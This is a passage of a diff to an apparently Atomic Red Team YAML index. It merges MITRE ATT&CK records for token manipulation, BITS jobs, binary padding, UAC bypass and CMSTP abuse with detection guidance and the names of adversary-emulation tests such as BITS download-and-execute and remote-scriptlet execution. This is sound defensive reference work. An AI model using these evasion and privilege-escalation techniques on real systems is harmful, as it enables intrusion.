netbiosX. (2017, April 3). Token Manipulation. Retrieved April + 21, 2017. + source_name: Pentestlab Token Manipulation + - url: https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/ + description: Mudge, R. (n.d.). Windows Access Tokens and Alternate Credentials. Retrieved April 21, 2017. source_name: Cobalt Strike Access Token - url: https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/ - - description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved + - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing + description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017. source_name: Microsoft Command-line Logging - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing - - description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. - source_name: Microsoft LogonUser - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx - - description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. - source_name: Microsoft DuplicateTokenEx - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx - - description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. - source_name: Microsoft ImpersonateLoggedOnUser - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx - - description: 'Atkinson, J., Winchester, R. (2017, December 7). A Process is + - url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf + description: 'Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.' source_name: BlackHat Atkinson Winchester Token Manipulation - url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Tom Ueltschi @c_APT_ure + - Travis Smith, Tripwire + - Robby Winchester, @robwinchester3 + - Jared Atkinson, @jaredcatkinson x_mitre_data_sources: - API monitoring - - Access Tokens - x_mitre_effective_permissions: - - SYSTEM + - Access tokens + - Process monitoring + - Process command-line parameters + x_mitre_detection: "If an adversary is using a standard command-line shell, + analysts can detect token manipulation by auditing command-line activity. + Specifically, analysts should look for use of the runas command. + Detailed command-line logging is not enabled by default in Windows. (Citation: + Microsoft Command-line Logging)\n\nIf an adversary is using a payload that + calls the Windows token APIs directly, analysts can detect token manipulation + only through careful analysis of user network activity, examination of running + processes, and correlation with other endpoint and network behavior. \n\nThere + are many Windows API calls a payload can take advantage of to manipulate access + tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx + (Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser + (Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced + Windows API pages for more information.\n\nQuery systems for process and thread + token information and look for inconsistencies such as user owns processes + impersonating the local SYSTEM account. (Citation: BlackHat Atkinson Winchester + Token Manipulation)" x_mitre_permissions_required: - User - Administrator - x_mitre_contributors: - - Tom Ueltschi @c_APT_ure - - Travis Smith, Tripwire - - Jared Atkinson, @jaredcatkinson - - Robby Winchester, @robwinchester3 - id: attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_effective_permissions: + - SYSTEM + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1134 atomic_tests: - name: Access Token Manipulation @@ -3546,74 +3664,55 @@ defense-evasion: . .\src\T1134.ps1 T1197: technique: + id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: BITS Jobs description: |- - Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM) (Citation: Microsoft COM). (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. - - The interface to create and manage BITS jobs is accessible through PowerShell (Citation: Microsoft BITS) and the BITSAdmin tool. (Citation: Microsoft BITS)Admin - - Adversaries may abuse BITS to download, execute, and even clean up after malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016) + Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. - BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol. (Citation: CTU BITS Malware June 2016) + The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITS)Admin - Detection: BITS runs as a service and its status can be checked with the Sc query utility (sc query bits). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the BITSAdmin tool (bitsadmin /list /allusers /verbose). (Citation: Microsoft BITS) + Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016) - Monitor usage of the BITSAdmin tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016) - - Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS) - - Platforms: Windows - - Data Sources: API monitoring, Packet capture, Windows event logs - - Defense Bypassed: Firewall, Host forensic analysis - - Permissions Required: User, Administrator, SYSTEM - - Contributors: Ricardo Dias, Red Canary - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: persistence + BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1197 + - external_id: T1197 + url: https://attack.mitre.org/techniques/T1197 source_name: mitre-attack - external_id: T1197 - - description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November - 22, 2017. - source_name: Microsoft COM - url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx - - description: Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved + - url: https://technet.microsoft.com/library/dd939934.aspx + description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January + 12, 2018. + source_name: Microsoft Issues with BITS July 2011 + - url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx + description: Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018. source_name: Microsoft BITS - url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx - - description: Counter Threat Unit Research Team. (2016, June 6). Malware Lingers + - url: https://www.secureworks.com/blog/malware-lingers-with-bits + description: Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018. source_name: CTU BITS Malware June 2016 - url: https://www.secureworks.com/blog/malware-lingers-with-bits - - description: Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background + - url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/ + description: Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background Intelligent Transfer Service. Retrieved January 12, 2018. source_name: Mondok Windows PiggyBack BITS May 2007 - url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/ - - description: Florio, E. (2007, May 9). Malware Update with Windows Update. + - url: https://www.symantec.com/connect/blogs/malware-update-windows-update + description: Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018. source_name: Symantec BITS May 2007 - url: https://www.symantec.com/connect/blogs/malware-update-windows-update - - description: Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. + - url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx + description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November + 22, 2017. + source_name: Microsoft COM + - url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/ + description: Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018. source_name: PaloAlto UBoatRAT Nov 2017 - url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/ - - description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January - 12, 2018. - source_name: Microsoft Issues with BITS July 2011 - url: https://technet.microsoft.com/library/dd939934.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-04-18T17:59:24.739Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Ricardo Dias + - Red Canary x_mitre_data_sources: - API monitoring - Packet capture @@ -3621,16 +3720,26 @@ defense-evasion: x_mitre_defense_bypassed: - Firewall - Host forensic analysis + x_mitre_detection: |- + BITS runs as a service and its status can be checked with the Sc query utility (sc query bits). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose). (Citation: Microsoft BITS) + + Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016) + + Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS) x_mitre_permissions_required: - User - Administrator - SYSTEM - x_mitre_contributors: - - Ricardo Dias - - Red Canary - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern - id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7 + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2018-04-18T17:59:24.739Z' identifier: T1197 atomic_tests: - name: Download & Execute @@ -3659,39 +3768,46 @@ defense-evasion: ' T1009: technique: + id: attack-pattern--519630c5-f03f-4882-825c-3af924935817 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Binary Padding - description: "Some security tools inspect files with static signatures to determine + description: Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the - file hash to avoid hash-based blacklists.\n\nDetection: Depending on the method - used to pad files, a file-based signature may be capable of detecting padding - using a scanning or on-access based tool. \n\nWhen executed, the resulting - process from padded files may also exhibit other behavior characteristics - of being used to conduct an intrusion such as system and network information - Discovery or Lateral Movement, which could be used as event indicators that - point to the source file.\n\nPlatforms: Linux, macOS, Windows\n\nDefense Bypassed: - Anti-virus, Signature-based detection" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion + file hash to avoid hash-based blacklists. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1009 + - external_id: T1009 + url: https://attack.mitre.org/techniques/T1009 source_name: mitre-attack - external_id: T1009 + - external_id: CAPEC-572 + url: https://capec.mitre.org/data/definitions/572.html + source_name: capec object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:22.096Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_version: '1.0' + x_mitre_data_sources: + - Binary file metadata + - File monitoring + - Malware reverse engineering + x_mitre_defense_bypassed: + - Signature-based detection + - Anti-virus + x_mitre_detection: "Depending on the method used to pad files, a file-based + signature may be capable of detecting padding using a scanning or on-access + based tool. \n\nWhen executed, the resulting process from padded files may + also exhibit other behavior characteristics of being used to conduct an intrusion + such as system and network information Discovery or Lateral Movement, which + could be used as event indicators that point to the source file." x_mitre_platforms: - Linux - macOS - Windows - x_mitre_defense_bypassed: - - Anti-virus - - Signature-based detection - id: attack-pattern--519630c5-f03f-4882-825c-3af924935817 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:22.096Z' identifier: T1009 atomic_tests: - name: Pad Evil Binary to Change Hash @@ -3712,6 +3828,8 @@ defense-evasion: /tmp/evilCat .bash_profile T1088: technique: + id: attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Bypass User Account Control description: |- Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works) @@ -3723,99 +3841,86 @@ defense-evasion: * eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit) Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass) - - Detection: There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of Process Injection and unusual loaded DLLs through DLL Search Order Hijacking, which indicate attempts to gain access to higher privileged processes. - - Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example: - - * The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass) - * The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe and [HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass) - - Analysts should monitor these Registry settings for unauthorized changes. - - Platforms: Windows - - Data Sources: System calls, Process monitoring, Authentication logs, Process command-line parameters - - Effective Permissions: Administrator - - Defense Bypassed: Windows User Account Control - - Permissions Required: User, Administrator - - Contributors: Stefan Kanthak, Casey Smith - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: privilege-escalation external_references: - - url: https://attack.mitre.org/wiki/Technique/T1088 + - external_id: T1088 + url: https://attack.mitre.org/techniques/T1088 source_name: mitre-attack - external_id: T1088 - - description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved + - url: http://www.pretentiousname.com/misc/win7_uac_whitelist2.html + description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November + 12, 2014. + source_name: Davidson Windows + - url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works + description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016. source_name: TechNet How UAC Works - url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works - - description: 'Russinovich, M. (2009, July). User Account Control: Inside Windows + - url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass + description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June + 3, 2016. + source_name: SANS UAC Bypass + - url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx + description: 'Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.' source_name: TechNet Inside UAC - url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx - - description: Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July + - url: https://msdn.microsoft.com/en-us/library/ms679687.aspx + description: Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016. source_name: MSDN COM Elevation - url: https://msdn.microsoft.com/en-us/library/ms679687.aspx - - description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November - 12, 2014. - source_name: Davidson Windows - url: http://www.pretentiousname.com/misc/win7%20uac%20whitelist2.html - - description: UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016. + - url: https://github.com/hfiref0x/UACME + description: UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016. source_name: Github UACMe - url: https://github.com/hfiref0x/UACME - - description: Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe + - url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ + description: Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016. source_name: enigma0x3 Fileless UAC Bypass - url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ - - description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses + - url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware + description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016. source_name: Fortinet Fareit - url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware - - description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June - 3, 2016. - source_name: SANS UAC Bypass - url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass - - description: Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved + - url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ + description: Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017. source_name: enigma0x3 sdclt app paths - url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ - - description: Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe. + - url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ + description: Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017. source_name: enigma0x3 sdclt bypass - url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:07.462Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Stefan Kanthak + - Casey Smith x_mitre_data_sources: - System calls - Process monitoring - Authentication logs - Process command-line parameters - x_mitre_effective_permissions: - - Administrator x_mitre_defense_bypassed: - Windows User Account Control x_mitre_permissions_required: - User - Administrator - x_mitre_contributors: - - Stefan Kanthak - - Casey Smith - id: attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be - modified: '2018-04-18T17:59:24.739Z' + x_mitre_detection: |- + There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes. + + Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example: + + * The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass) + * The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe and [HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass) + + Analysts should monitor these Registry settings for unauthorized changes. + x_mitre_effective_permissions: + - Administrator + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:07.462Z' identifier: T1088 atomic_tests: - name: Bypass UAC using Event Viewer @@ -3837,76 +3942,77 @@ defense-evasion: cmd.exe -c eventvwr.msc T1191: technique: + id: attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: CMSTP description: |- The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. - Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to Regsvr32 / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application. - - CMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) + Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application. - Detection: Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. - - Platforms: Windows - - Data Sources: Process Monitoring, Process command-line parameters - - Defense Bypassed: Application whitelisting, Anti-virus - - Permissions Required: User - - Remote Support: No - - Contributors: Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution + CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1191 + - external_id: T1191 + url: https://attack.mitre.org/techniques/T1191 source_name: mitre-attack - external_id: T1191 - - description: Microsoft. (2009, October 8). How Connection Manager Works. Retrieved + - url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10) + description: Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018. source_name: Microsoft Connection Manager Oct 2009 - url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10) - - description: Carr, N. (2018, January 31). Here is some early bad cmstp.exe... + - url: https://twitter.com/ItsReallyNick/status/958789644165894146 + description: Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018. source_name: Twitter CMSTP Usage Jan 2018 - url: https://twitter.com/ItsReallyNick/status/958789644165894146 - - description: Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April + - url: https://msitpros.com/?p=3960 + description: Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018. source_name: MSitPros CMSTP Aug 2017 - url: https://msitpros.com/?p=3960 - - description: Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution + - url: https://twitter.com/NickTyrer/status/958450014111633408 + description: Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018. source_name: Twitter CMSTP Jan 2018 - url: https://twitter.com/NickTyrer/status/958450014111633408 - - description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved + - url: https://github.com/api0cradle/UltimateAppLockerByPassList + description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018. source_name: GitHub Ultimate AppLocker Bypass List - url: https://github.com/api0cradle/UltimateAppLockerByPassList + - url: http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/ + description: Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code + Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018. + source_name: Endurant CMSTP July 2018 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-04-18T17:59:24.739Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank + - Nik Seetharaman, Palantir x_mitre_data_sources: - - Process Monitoring + - Process monitoring - Process command-line parameters + - Process use of network + - Windows event logs x_mitre_defense_bypassed: - Application whitelisting - Anti-virus + x_mitre_detection: |- + Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. + + Sysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018) + + * To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external. + * To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F). x_mitre_permissions_required: - User x_mitre_remote_support: false - x_mitre_contributors: - - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern - id: attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3 + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2018-04-18T17:59:24.739Z' identifier: T1191 atomic_tests: - name: CMSTP Executing Remote Scriptlet @@ -3945,44 +4051,51 @@ defense-evasion: ' T1146: technique: + id: attack-pattern--d3046a90-580c-4004-8208-66915bc29830 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Clear Command History - description: |- - macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries 